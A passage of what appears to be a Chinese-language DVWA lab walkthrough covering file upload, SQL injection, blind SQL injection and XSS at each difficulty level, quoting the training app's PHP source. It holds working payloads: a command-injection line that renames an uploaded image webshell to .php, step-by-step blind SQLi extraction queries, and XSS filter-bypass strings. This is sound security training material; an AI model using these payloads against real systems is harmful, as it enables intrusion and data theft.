if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

这里可以使用图片马来绕过,图片马的制作类似与pikachu里的制作
制作图片马
漏洞复现:
复现
之后需要配合其他漏洞让图片马一脚本的方式解析后再使用webshell管理工具连接即可,如使用命令注入漏洞修改图片的后缀然后再连接。
构造语句127.0.0.1 |copy C:\phpstudy_pro\WWW\DVWA\hackable\uploads\2.jpg C:\phpstudy_pro\WWW\DVWA\hackable\uploads\2.php
配合其他漏洞拿权限

impossible
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';上传文件前缀md5加密
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个级别的文件上传对文件进行了重命名搞了个md5加密,还增加了token值校验,对文件内容做了严格检查。

DVWA – SQL Injection (sql注入)

sql注入是指攻击者通过注入恶意sql命令,破坏sql查询语句结构从而达到执行恶意sql语句的目的。sql注入漏洞的危害是巨大的,常常导致整个数据库被“脱库”,尽管如此sql注入仍是最常见的web漏洞之一。
sql注入的流程:

  1. 判断是否存在注入,注入是字符型还是数字型(根据后台查询语句进行分类)
  2. 猜解sql查询语句中的字段数order by
  3. 确定显示字段顺序
  4. 获取当前数据库
  5. 获取当前数据库中的表
  6. 获取表中的字段名
  7. 下载数据

sql注入主题:
sql注入

Low
源码分析:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input 获取id
$id = $_REQUEST[ 'id' ];

// Check database 拼接sql查询
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

漏洞复现:
第一步查找注入点判断注入类型

确定注入类型

第二步判断字段数
判断字段数

第三步 确定字段显示顺序
确定字段显示顺序

第四步 获取数据库名、用户名、版本号
获取数据库名、用户名、版本号

在MYSQL5.0以上版本中自带数据库 information_schema,information_schema 存储所有数据库名,表名,列名信息,可以通过查询此库获得信息
第五步 查询库中的表
查询数据库中的表
出现错误如何解决:
执行union出错
第六步 查询表中的字段名
查询字段名
第七步获取字段相关信息
获取数据信息
然后md5解密直接登录就获取了权限了

Medium
源码分析:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//使用这个函数将mysqli_real_escape_string将x00,n,r,,’,”,x1a转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

漏洞复现:这里使用了post方式提交,还是用了转义防止sql注入
第一步判断注入类型:
判断
第二部判断字段数
字段数
第三步确定字段位置
确定位置
第四步查询库名
查库名
第五步查表名
查表名
第六步查询users中的字段名
获取字段名
这里单引号被转义用16进制绕过
第七步获取字段的值
获取内容
解密登录

high
源码分析:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
/*
【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
*/
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

添加了limit限制可以用#注释掉后边的内容,复现过程和low一样
复现

impossible
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入token、检测 id 是否是数字,prepare预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

DVWA – SQL Injection(blind)盲注

SQL Injection(Blind)(sql盲注):相比于常规注入他不会返回数据的信息或语法信息,只会将服务器包装后的信息返回到页面中
对比:
对比图
盲注分类分为两类:bool盲注和时间盲注,通过返回的值或者时间来判断是否正确

SQL盲注的基本流程:

  1. 判断是否存在注入,注入的类型
  2. 猜解当前数据库的名称
  3. 猜解数据库中的表名
  4. 猜解表中的字段名
  5. 获取表中字段的值
  6. 验证字段值的有效性
  7. 获取数据库的其他信息

sql盲注主题:
盲注

Low
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}
//判断exists的值大于零输出下边第一句
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

}

?>

漏洞复现:
文本框输入并提交的形式,get方式,未作任何输入过滤和限制,攻击者可以任意构造想输入的sql查询,对没有进行任何检查、过滤、返回参数只有两种
第一步猜闭合方式
闭合方式
猜测为字符型
第二步猜解数据库名(以数据库名的第一个字母为例)(最终可以查到数据库名root)

1' and (select ascii(substr(database(),1,1)) > 111) #
1' and (select ascii(substr(database(),1,1)) > 120) #
1' and (select ascii(substr(database(),1,1)) > 115) #
1' and (select ascii(substr(database(),1,1)) > 113) #
1' and (select ascii(substr(database(),1,1)) = 114) #

猜解
原理通过名字的ascill码来匹配是否正确正确返回正确信息错误返回错误信息
第三步查表名和查库名一样依旧是利用猜解来查最终查到为guestbook(以数据库的第一个表的第一个字母为例)

1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 110) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 105) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 103) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 102) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #

猜解表名

第四步猜解字段名方法一样(以数据库中第一个表第一个字段第一个字母为例)最终可以查到字段名为comment_id

1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 90) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 95) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 98) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 99) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 100) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #

猜解字段名
第五步猜解第一个表第一个字段的第一个数据的第一个字母最终查到数据1

1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 50) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 30) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 40) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 45) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 48) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

值的获取
剩余的数据都一样都是通过这种方式来查找

Medium
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
//这里使用mysqli_real_escape_string()函数对一些符号进行了转义
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

漏洞复现:
中级难度下,提交方式变为下拉id提交,使用post提交,并且使用mysqli_real_escape_string函数对单引号双引号反斜杠等进行了转义处理。和low的普通方式差不多但需要抓包构造语句使用post提交
四种语句还是类似并且和low的过程相似。

1 #
1 and (select ascii(substr(database(),1,1)) = 114) #
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

测试

high
源码分析:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database limit限制只能查一条数据
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount 报错的话会执行延迟函数
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

high级别的盲注加入了sleep函数对时间盲注造成干扰,将数据提交页面和结果显示也页面分离,一定程度上约束了sqlmap自动化工具的常规方式但无法完全阻挡,利用set-cookie对输入的值进行传递到显示页面的cookie字段中保存,sql语句添加limit限制每次输出只有结果的一个记录,不会输出所有纪录。

漏洞复现:
对于limit限制输出记录数目可以利用#注释限制,服务端会随机执行sleep函数,做执行延迟时间2-4秒会对时间延迟盲注有干扰,因此可以考虑布尔盲注测试
可以参考low级别的代码:

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

impossible
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token 加入token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;

// Get input
$id = $_GET[ 'id' ];

// Was a number entered? 对传入的id进行判断是否为数字 并且使用了limit 1做了限制 使用了PDO
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();

$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}

}

// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个级别采用了PDO技术划清了代码于数据的界限有效的提高了防御sql注入,加入了token机制进一步提高了安全性,采用参数化查询而非动态查询,对代码和数据进行了分离。只有返回的查询结果数量为一个记录时才会成功输出,有效预防了暴库,使用is_numeric函数来判断是否为数字满足条件才查询。

DVWA – XSS(DOM)

XSS全程跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意脚本代码当受害者访问该页面恶意代码就会在浏览器上执行,需要强点的是,xss不仅限于JavaScript,还包括flash等其他脚本语言,根据恶意代码是否存储在服务器中又分为存储型和反射型。
DOM——base XSS漏洞基于文档对象模型的一种漏洞。dom是一个与平台编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容,结构和样式,处理后的结果能作为页面的一部分。dom中有很多对象,其中一些可以用户操作如url、location、refelter等。客户端脚本程序可以通过dom动态修改页面内容,不依赖于提交数据到服务器,而是从客户端获得数据在本地执行,如果dom中的数据没有经过严格确认就会产生dom型xss漏洞

可能触发dom型xss的属性:document.referer属性、window.name属性、location属性、innerhtml属性、document.write属性

XSS(dom)主题:
dom型xss

Low
源码分析:


<?php
没有保护,什么都没有
# No protections, anything goes

?>

漏洞复现:
直接进行弹窗测
弹窗

medium
源码分析:

<?php

// Is there any input?
/*
array_key_exists()检查键是否存在
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
key 必需 规定键名。
array 必需。规定数组

*/
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
/*
stripos函数查找字符串在另一字符串中第一次出现的位置不区分大小写
stripos(string,find,start)
string 必需 规定被搜索的字符串。
find 必需 规定要查找的字符。
start 可选 规定开始搜索的位置。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
*/
//如果不含script
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
/*
header() 函数向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
string 必需 规定要发送的报头字符串。
replace 可选 指示该报头是否替换之前的报头,或添加第二个报头。
默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code可选 把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)
*/
}

?>

简单的说就是过滤了<script,当匹配到时就会修正参数为English
在这里可以构造onerror事件,在装载文档或图像的过程中如果发生错误就会触发事件构造语句

English</option><select><img src=x onerror=alert(1)>

这里的option标签是通过网页源码拼接的
标签的选择
漏洞复现:
成功弹窗

high
源码分析:

?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages这里设置了百名单只允许这些值通过
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

这里设置了白名单但只对default进行了过滤我们可以用&或者#,在url中#表示书签&表示指定参数之间的分隔符。
添加标签或者添加参数

impossible
源码分析:

<?php

# Don't need to do anything, protection handled on the client side

?>

这里设置的我们呢输入的参数全部无效了

DVWA – XSS(reflected)反射型

XSS攻击需要具备两个条件:1.需要向web页面注入恶意代码 2.恶意代码可以执行

xss反射型:顾名思义反射是一个一来一回的过程,反射型xss触发有后端的参与,之所以触发xss是因为后端解析前端传来带有xss性质的脚本文件或者脚本的data url编码,后端解析用户输入处理返回前端,由浏览器解析这段xss脚本而触发xss漏洞。因此要避免反射型xss则必须要后端的协调,在后端解析前端数据时首先做相关字串的检测和转义处理;同时前端也要对用户的输入做excape转义,保证数据源可靠性。

基本原理是通过给别人发送带有恶意脚本代码参数的url,当url地址被打开,特定的代码参数就会被html解析,执行这样就可以获取cookie。

特点:非持久化,必须用户输入带有特定参数的连接才能引起。

xss反射性攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个连接到目标网站的恶意链接来实施攻击。

xss(reflected)主题:
主题

Low
源码分析:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
//array_key_exists函数判断变量值中是否存在name键名,且值不为空才输出
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

服务器只是判断了name参数是否为空,如果不为空就直接打印出来,服务器并没有对name参数做任何过滤和检查
漏洞复现:
直接使用下面的语句尝试

<script>alert(1)</script>

成功弹窗

medium
源码分析:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input将script标签置空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

会见查name参数中是否含有script标签,有则替换为空,这里使用了str_replace函数他区分大小写因此可以用大小写绕过
漏洞复现:
这里使用大小写绕过

<sCript>alert(1)</ScRipt>

绕过成功

high
源码分析:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//这里使用通配符完全匹配script标签所有的script标签全部被过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace()函数执行一个正则表达式的搜索和替换。*代表任意字符i代表不区分大小写。就是说所有的script标签被过滤,单我们可以通过其他标签来绕过如img、body等标签的事件或者iframe标签的是如此注入js脚本攻击
漏洞复现:
<img src=# onerror=alert(2)>
测试

impossible
源码分析:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token 加入token检验
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
/*
htmlspecialchars函数将符号转码
& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;
*/
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars函数用于把预定义的一些字符转换为html实体防止了我们注入html标签。例如我们注入 “”,htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行。同时加入 Anti-CSRF token 防护 CSRF 攻击,进一步提高安全性。

DVWA –XSS(Stored)存储型

存储型:攻击者实现将恶意代码上传或者存储到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码,这就意味者只要页面被访问就会被攻击,因此存储型xss危害更大。存储习型xss的代码存在于网页代码中可以说是永久的。

存储型一般存在于留言品论博客日志等交互出,恶意脚本存储到客户端或者服务器的数据库中。

xss(store)主题:
存储型xss主题

Low
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
/*
trims(tring,charlist)函数移除字符串两侧的空白字符或其他预定义字符,包括、\t、\n、\x0b、\r以及空格
*/
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input(string)
//stripslashes函数移除字符串中的反斜杠
//mysqli_real_escape_string(string,connection)
//函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

源码中出现了trim函数用法如下:
trim函数用法

出现了stripslashes()函数用法如下:
stripslashes函数用法
这里用于删除反斜杠,可用于清理数据库中或者从html表单中取回的数据
漏洞复现:
这里对xss方面没有做过滤和检查,而且数据将直接被存储到数据库中,因此存在存储型xss
存储型xss
同样的在message中也可以弹窗。在做其他的时候清楚表

medium
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
/*
strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
*/
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message处使用了htmlspecialchars函数,将字符全部转化为了html实体,因此message处无法使用xss攻击
name处做了长度限制,会把script标签转化为空考虑使用大小写或者双写绕过

漏洞复现:

大小写绕过:<scRIPt>alert(1)</SCript>
双写绕过:<scr<script>ipt>alert(1)</script>

第一部分绕过
第二部分

high
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
